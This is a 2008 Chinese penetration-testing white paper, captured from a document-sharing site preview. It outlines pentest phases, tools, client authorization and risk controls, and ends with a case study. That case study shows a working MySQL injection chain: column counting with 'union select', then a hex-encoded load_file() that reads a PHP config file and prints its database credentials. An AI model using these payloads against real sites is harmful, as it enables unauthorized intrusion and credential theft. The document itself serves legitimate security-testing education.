安全渗透测试技术白皮书.docx

上传人:b****1 文档编号:1350000 上传时间:2023-04-30 格式:DOCX 页数:27 大小:710.75KB
下载 相关 举报
安全渗透测试技术白皮书.docx_第1页
第1页 / 共27页
安全渗透测试技术白皮书.docx_第2页
第2页 / 共27页
安全渗透测试技术白皮书.docx_第3页
第3页 / 共27页
安全渗透测试技术白皮书.docx_第4页
第4页 / 共27页
安全渗透测试技术白皮书.docx_第5页
第5页 / 共27页
安全渗透测试技术白皮书.docx_第6页
第6页 / 共27页
安全渗透测试技术白皮书.docx_第7页
第7页 / 共27页
安全渗透测试技术白皮书.docx_第8页
第8页 / 共27页
安全渗透测试技术白皮书.docx_第9页
第9页 / 共27页
安全渗透测试技术白皮书.docx_第10页
第10页 / 共27页
安全渗透测试技术白皮书.docx_第11页
第11页 / 共27页
安全渗透测试技术白皮书.docx_第12页
第12页 / 共27页
安全渗透测试技术白皮书.docx_第13页
第13页 / 共27页
安全渗透测试技术白皮书.docx_第14页
第14页 / 共27页
安全渗透测试技术白皮书.docx_第15页
第15页 / 共27页
安全渗透测试技术白皮书.docx_第16页
第16页 / 共27页
安全渗透测试技术白皮书.docx_第17页
第17页 / 共27页
安全渗透测试技术白皮书.docx_第18页
第18页 / 共27页
安全渗透测试技术白皮书.docx_第19页
第19页 / 共27页
安全渗透测试技术白皮书.docx_第20页
第20页 / 共27页
亲,该文档总共27页,到这儿已超出免费预览范围,如果喜欢就下载吧!
下载资源
资源描述

安全渗透测试技术白皮书.docx

《安全渗透测试技术白皮书.docx》由会员分享,可在线阅读,更多相关《安全渗透测试技术白皮书.docx(27页珍藏版)》请在冰点文库上搜索。

安全渗透测试技术白皮书.docx

安全渗透测试技术白皮书

 

安全渗透测试技术白皮书

 

 

2008年 8 月 17 日

 

渗透测试服务概述

渗透测试概述

渗透测试(PenetrationTest)是指安全工程师尽可能完整地模拟黑客使用的漏洞发现技术和攻击手段,对目标网络/系统/主机/应用的安全性作深入的探测,发现系统最脆弱的环节的过程。

渗透测试能够直观的让管理人员知道自己网络所面临的问题。

渗透测试是一种专业的安全服务,类似于军队里的“实战演习”或者“沙盘推演”的概念,通过实战和推演,让用户清晰了解目前网络的脆弱性、可能造成的影响,以便采取必要的防范措施。

渗透测试能为客户带来的收益

从渗透测试中,客户能够得到的收益至少有:

1)协助用户发现组织中的安全最短板,协助企业有效的了解目前降低风险的初始任务;

2)一份文档齐全有效的渗透测试报告有助于组织IT管理者以案例说明目前安全现状,从而增强信息安全的认知程度,甚至提高组织在安全方面的预算;

3)信息安全是一个整体工程,渗透测试有助于组织中的所有成员意识到自己的岗位同样可能提高或降低风险,有助于内部安全的提升;

当然,渗透测试并不能保证发现目标网络中的“所有”弱点,因此我们不宜片面强调它的重要性。

但是,目前国内的现状是:

1)大多数企业没有意识到渗透测试的作用;

2)仅有少数信息安全企业有能力完成出色的渗透测试服务。

因此,渗透测试甚至一度沦为客户检验安全公司技术能力的一个标尺。

渗透测试涉及的技术

长期以来,渗透测试被人们披上一层神秘的面纱,究其原因,主要还是从事渗透测试的操作者们不仅能够熟练地使用各种工具,往往还能够独出机杼地从不同角度,运用一些“说破不值半文钱”的方法突破网络系统的防御获取权限。

当然,就象福尔摩斯的推理一般,这些看似“不可完成的任务”,实际上可以通过缜密的技巧训练加上善用逆向思维、发散思维来达成。

下面我们简单介绍在渗透测试的各个阶段(与骇客攻击的阶段相似)可能会用到的一些工具,运用之妙,存乎一心,思路方面的突破在这篇短文中无法尽述,只能由读者自行学习了。

预攻击阶段

基本网络信息获取

ping目标网络得到IP地址和ttl等信息

tcptraceroute和traceroute的结果

whois结果

netcraft获取目标可能存在的域名、Web及服务器信息

curl获取目标web基本信息

nmap对网站进行端口扫描并判断操作系统类型

google、baidu等搜索引擎获取目标信息

采用FWtester、hping3等工具进行防火墙规则探测

常规漏洞扫描和采用商用软件进行检测

结合使用测评工具与Nessus等商用或免费的扫描工具进行漏洞扫描

采用SolarWind对网络设备等进行发现

采用nikto、webinspect等软件对web常见漏洞进行扫描

采用如AppDetectiv之类的商用软件对数据库进行扫描分析

……

对Web和数据库应用进行分析

采用WebProxy、SPIKEProxy、webscarab、ParosProxy、Absinthe等工具进行分析

用Ethereal抓包协助分析

用webscan、fuzzer进行SQL注入和XSS漏洞初步分析

手工检测SQL注入和XSS漏洞

采用类似OScanner的工具对数据库进行分析

……

应用分析的注意事项

检查应用系统架构、防止用户绕过系统直接修改数据库

检查身份认证模块,防止非法用户绕过身份认证

检查数据库接口模块,防止用户获取系统权限

检查文件接口模块,防止用户获取系统文件

检查其他安全威胁

其中每个环节都还有详细的checklist,读者可以自行补充。

攻击阶段

基于通用设备、数据库、操作系统和应用的攻击

可以采用各种公开及私有的缓冲区溢出程序代码,一个比较好的Exploit搜索站点是:

也可以采用诸如MetasploitFramework之类的利用程序集合。

基于应用的攻击

基于web、数据库或特定的B/S或C/S结构的网络应用程序存在的弱点进行攻击,常见的如SQL注入攻击、跨站脚本攻击等均属于这一类型,我们在第4.1.2小节的《实战演练及报表输出》中举了一个常见的基于应用进行攻击的案例。

口令猜解技术

口令是信息安全里永恒的主题,在笔者参与的渗透测试项目中,通过弱口令获取权限者不在少数。

进行口令猜解可以采用游刃、X-Scan、Brutus、Hydra、溯雪等工具。

下图为测评工具的策略审查模板。

后攻击阶段

口令嗅探与键盘记录

嗅探、键盘记录、木马等软件,功能简单,但要求不被防病毒软件发觉,因此通常需要自行开发或修改。

口令破解

有许多著名的口令破解软件,如L0phtCrack、JohntheRipper、Cain等。

其它手法

这里列出的方法,有些可能对用户的网络造成较大影响(例如服务中断),有的则与安全管理密切相关(不能仅从技术考量),有的则是需要到现场才能进行作业,因此通常情况下较少为渗透测试者所采用。

但可以根据具体客户的需求状态进行判断。

DoS&DDoS

客户端攻击

无线攻击

WarDialing

社交工程方法

操作中的注意事项

测试前提供给Pen-Tester的资料

1.1.1黑箱测试

黑箱测试又被称为所谓的“zero-knowledgetesting”,渗透者完全处于对系统一无所知的状态,通常这类型测试,最初的信息获取来自于DNS、Web、Email及各种公开对外的服务器。

1.1.2白盒测试

白盒测试与黑箱测试恰恰相反,测试者可以通过正常渠道向被测单位取得各种资料,包括网络拓扑、员工资料甚至网站或其它程序的代码片断,也能够与单位的其它员工(销售、程序员、管理者……)进行面对面的沟通。

这类测试的目的是模拟企业内部雇员的越权操作。

1.1.3隐秘测试

隐秘测试是对被测单位而言的,通常情况下,接受渗透测试的单位网络管理部门会收到通知:

在某些时段进行测试。

因此能够监测网络中出现的变化。

但隐秘测试则被测单位也仅有极少数人知晓测试的存在,因此能够有效地检验单位中的信息安全事件监控、响应、恢复做得是否到位。

攻击路径

测试目标不同,涉及需要采用的技术也会有一定差异,因此下面简单说明在不同位置、攻击路径不同时可能采用的技术。

1.1.4内网测试

内网测试指的是渗透测试人员由内部网络发起测试,这类测试能够模拟企业内部违规操作者的行为。

最主要的“优势”是绕过了防火墙的保护。

内部主要可能采用的渗透方式:

1)远程缓冲区溢出;

2)口令猜测;

3)B/S或C/S应用程序测试(如果涉及C/S程序测试,需要提前准备相关客户端软件供测试使用);

1.1.5外网测试

外网测试指的是渗透测试人员完全处于外部网络(例如拨号、ADSL或外部光纤),模拟对内部状态一无所知的外部攻击者的行为。

1)对网络设备的远程攻击;

2)口令管理安全性测试;

3)防火墙规则试探、规避;

4)Web及其它开放应用服务的安全性测试;

1.1.6不同网段/Vlan之间的渗透

这种渗透方式是从某内/外部网段,尝试对另一网段/Vlan进行渗透。

这类测试通常可能用到的技术包括:

1)对网络设备的远程攻击;

2)对防火墙的远程攻击或规则探测、规避尝试;

实施流程

1.1.7实施方案制定、客户书面同意

合法性即客户书面授权委托,并同意实施方案是进行渗透测试的必要条件。

渗透测试首先必须将实施方法、实施时间、实施人员,实施工具等具体的实施方案提交给客户,并得到客户的相应书面委托和授权。

应该做到客户对渗透测试所有细节和风险的知晓、所有过程都在客户的控制下进行。

这也是专业渗透测试服务与黑客攻击入侵的本质不同。

1.1.8信息收集分析

信息收集是每一步渗透攻击的前提,通过信息收集可以有针对性地制定模拟攻击测试计划,提高模拟攻击的成功率,同时可以有效的降低攻击测试对系统正常运行造成的不利影响。

信息收集的方法包括PingSweep、DNSSweep、DNSzonetransfer、操作系统指纹判别、应用判别、账号扫描、配置判别等。

信息收集常用的工具包括商业网络安全漏洞扫描软件(例如:

游刃、极光等),免费安全检测工具(例如:

NMAP、NESSUS等)。

操作系统内置的许多功能(例如:

TELNET、NSLOOKUP、IE等)也可以作为信息收集的有效工具。

1.1.9内部计划制定、二次确认

根据客户设备范围和项目时间计划,并结合前一步初步的信息收集得到的设备存活情况、网络拓扑情况以及扫描得到的服务开放情况、漏洞情况制定内部的详细实施计划。

具体包括每个地址下一步可能采用的测试手段,详细时间安排。

并将以下一步工作的计划和时间安排与客户进行确认。

1.1.10取得权限、提升权限

通过初步的信息收集分析,存在两种可能性,一种是目标系统存在重大的安全弱点,测试可以直接控制目标系统;另一种是目标系统没有远程重大的安全弱点,但是可以获得普通用户权限,这时可以通过该普通用户权限进一步收集目标系统信息。

接下来尽最大努力取得超级用户权限、收集目标主机资料信息,寻求本地权限提升的机会。

这样不停的进行信息收集分析、权限提升的结果形成了整个的渗透测试过程。

1.1.11生成报告

渗透测试之后,测试者将会提供一份渗透测试报告。

报告将会十分详细的说明渗透测试过程中的得到的数据和信息,并且将会详细的纪录整个渗透测试的全部操作。

风险规避措施

1.1.12渗透测试时间与策略

1.1.12.1时间选择

为减轻渗透测试对网络和主机的影响,渗透测试时间尽量安排在业务量不大的时段或晚上。

1.1.12.2攻击策略集选择

为防止渗透测试造成网络和主机的业务中断,在渗透测试中不使用含有拒绝服务的测试策略。

1.1.12.3保守策略选择

对于不能接受任何可能风险的主机系统,如银行票据核查系统,电力调度系统等,可选择如下保守策略:

1)复制一份目标环境,包括硬件平台,操作系统,数据库管理系统,应用软件等。

2)对目标的副本进行渗透测试。

1.1.13系统备份和恢复

1.1.13.1系统备份

为防止在渗透测试过程中出现的异常的情况,所有被评估系统均应在被评估之前作一次完整的系统备份或者关闭正在进行的操作,以便在系统发生灾难后及时恢复。

1.1.13.2系统恢复

在渗透测试过程中,如果出现被评估系统没有响应或中断的情况,应当立即停止测试工作,与客户方配合人员一起分析情况,在确定原因后,及时恢复系统,并采取必要的预防措施(比如调整测试策略)之后,确保对系统无影响,并经客户方同意之后才可继续进行。

1.1.14工程中合理沟通的保证

在工程实施过程中,确定不同阶段的测试人员以及客户方的配合人员,建立直接沟通的渠道,并在工程出现难题的过程中保持合理沟通。

1.1.15系统监测

在评估过程中,由于渗透测试的特殊性,用户可以要求对整体测试流程进行监控(可能提高渗透测试的成本)。

1.1.15.1测试方自控

由测试者对本次测透测试过程中的三方面数据进行完整记录:

1)操作;

2)响应;

3)分析;

最终形成完整有效的渗透测试报告提交给用户。

1.1.15.2用户监控

可以有三种形式:

1)全程监控:

采用类似Ethereal或SnifferPro的嗅探软件进行全程抓包嗅探。

优点是全过程都能完整记录。

缺点是数据量太大,不易分析;需要大容量存储设备。

2)择要监控:

对扫描过程不进行录制,仅仅在安全工程师分析数据后,准备发起渗透前,才开启类似Ethereal或SnifferPro的软件进行嗅探。

3)主机监控:

仅监控受测主机的存活状态,避免意外情况发生。

目前国内应用比较多的是这种监控手段.

其它

1)测试前将所有工具的漏洞数据库都升级至最新版本;

2)测试时最好通过专门的渗透测试代理服务器进行操作,在代理服务器上可以方便进行操作的监控,也能够为客户提供一个专门用于渗透测试的IP地址;

3)后攻击阶段的操作如果确实必要,也应该先知会客户,然后进行操作;

实战演练及报表输出

实践操作过程

1.1.16预攻击阶段的发现

在获得授权后,我们用…发现目标情况如下:

网络层访问控制列表及防火墙策略控制得当,对无用服务进行较好的过滤;系统层防护完善,系统补丁完整;因此外部入侵者较难直接攻击成功。

该服务器上运行着两个配置不同的虚拟主机:

存在php+MySQL注入漏洞,恶意攻击者可能利用该漏洞更改主页、获取后台管理密码,并进一步获取系统管理员权限。

X用户名可猜测;

X暴露系统路径;

……

1.1.17攻击阶段的操作

1.1.17.1判断网站存在SQL注入漏洞

通过在正常url后加上一个’号,我们发现系统报告了一个不是有效的mysql命令的错误提示,这是典型的应用程序缺乏过滤导致的注入问题。

1.1.17.2资源占用导致应用程序报错

采用DoSent(大成天下自行开发的应用层测试工具)发送测试数据包对网站的非80端口进行连接,占用系统资源;

采用ab(ApacheWeb性能测试工具)程序对80端口应用程序及数据库进行连接及查询,占用web资源;

用浏览器多次连接web后,出现错误提示,获取web目录及配置文件详情:

Fatalerror:

Maximumexecutiontimeof30secondsexceededinC:

\Inetpub\wwwroot\xxxx\inc\config.inc.phponline9

PHPFatalerror:

Maximumexecutiontimeof30secondsexceededinC:

\Inetpub\wwwroot\xxxx\inc\config.inc.phponline9

由此得出web路径及关键配置文件路径。

1.1.17.3列数

orderby9

unionselectchar(0x41),char(0x41),char(0x41),char(0x41),char(0x41),char(0x41),char(0x41),char(0x41),char(0x41)

可以确认需要带9个参数。

1.1.17.4尝试采用load_file和substring函数察看文件

c:

\inetpub\wwwroot\xxxx\inc\config.inc.php转换成16进制表示如下:

0000000:

633a5c696e65747075625c777777726fc:

\inetpub\wwwro

0000010:

6f745c6368795c696e635c636f6e6669ot\xxxx\inc\confi

0000020:

672e696e632e7068700ag.inc.php.

在load-file函数中就表示为:

load_file((0x633a5c696e65747075625c777777726f6f745c6368795c696e635c636f6e6669672e696e632e706870))

因此在浏览器中输入:

返回:

setDataSourceServer($dataSourceServer);$dbTools->setUser($dbUser);$dbTools->setPassword($dbPassword);$dbTools->setDataBase($dataBase);$dbTools->setDebug(true);if(!

$dbTools->dbConnect())//ConnectthedataSource,breakiffalse{echo"

DataSourceconnectfaile!

";exit();}include($systemUrl."count.inc.php");//includedefinecountwebsiteaccess?

>

在浏览器中输入:

返回:

**Author@HuangJing**Function:

Defineparam,GetthedataSourceconnection****/session_start();header("Expires:

Mon,26Jul199705:

00:

00GMT");header("Last-Modified:

".gmdate("D,dMYH:

i:

s")."GMT");header("Cache-Control:

no-cache,must-revalidate");header("Pragma:

no-cache");$author="2004";$systemName="某某公司后台管理系统";$bannerWord="略";$SystemURL="";$SystemAdmin="webmaster@";$newsType=array("","略);$goodsInputFile=array("",array("","goodsInput1.inc.php","goodsInput2.inc.php","goodsInput3.inc.php"),array("","goodsInput4.inc.php","goodsInput5.inc.php","goodsInput6.inc.php"),array("","goodsInput1.inc.php","goodsInput2.inc.php","goodsInput3.inc.php"));/***后台****/$region=array('北京','上海','重庆','天津','河北','山西','内蒙古','辽宁','吉林','黑龙江','江苏','浙江','安徽','福建','江西','山东','河南','湖北','湖南','广东','广西','海南','四川','贵州','云南','西藏','陕西','甘肃','青海','宁夏','新疆');$functionList=array("添加操作员","修改口令/权限","删除操作员","修改我的口令","公司新闻","行业信息","通知公告","企业大事记","人才招聘","服务网点","在线咨询","在线投诉","营销网点","车评管理","车型管理","企业荣誉","质量报道","友情链接");$functionAction=array("useradd","usermodify","userdel","passmodify","newsP1","newsP2","newsP3","history","job","service","online","feedback","sell","truckComment","goods","honor","newsP4","link");$functionRight=array("useradd","usermodify","userdel","passmodify","user","user1","user2","user3","user4","user5","user6","user7","user8","user9","user10","user11","user12","user13");//不要出现重复的元素/****/$systemUrl="c:

/inetpub/wwwroot/xxxx/";$systemWebUrl="/";//usetforwordedituploadfilecatlog$systemIncludePath=$systemUrl."inc/";include($systemIncludePath."define.inc.php");//includedefineFunction/ClassFile$uploadPath="upload/";$SystemUpload=$systemUrl.$uploadPath;$systemUploadUrl=$systemWebUrl.$uploadPath;//$SystemUpload=$systemUrl.$uploadPath;//usetforwordedituploadfilecatlog//$SystemUploadURL=$systemWebUrl.$uploadPath;//usetforwordedituploadfilecatlog$SystemUploadURL=$SystemUpload;$website_url="localhost";$systemAdminPath="admin/";$dataSourceServer="localhost";$dbUser="root";$dbPassword="xxx123456xxx";$dataBase="xxx";$dbTools=newdbTools;//classdefineindefine.inc.php$dbTools->setDataSourceServer($dataSourceServer);$dbTools->setUser($d

展开阅读全文
相关资源
猜你喜欢
相关搜索
资源标签

当前位置:首页 > 幼儿教育 > 幼儿读物

copyright@ 2008-2023 冰点文库 网站版权所有

经营许可证编号:鄂ICP备19020893号-2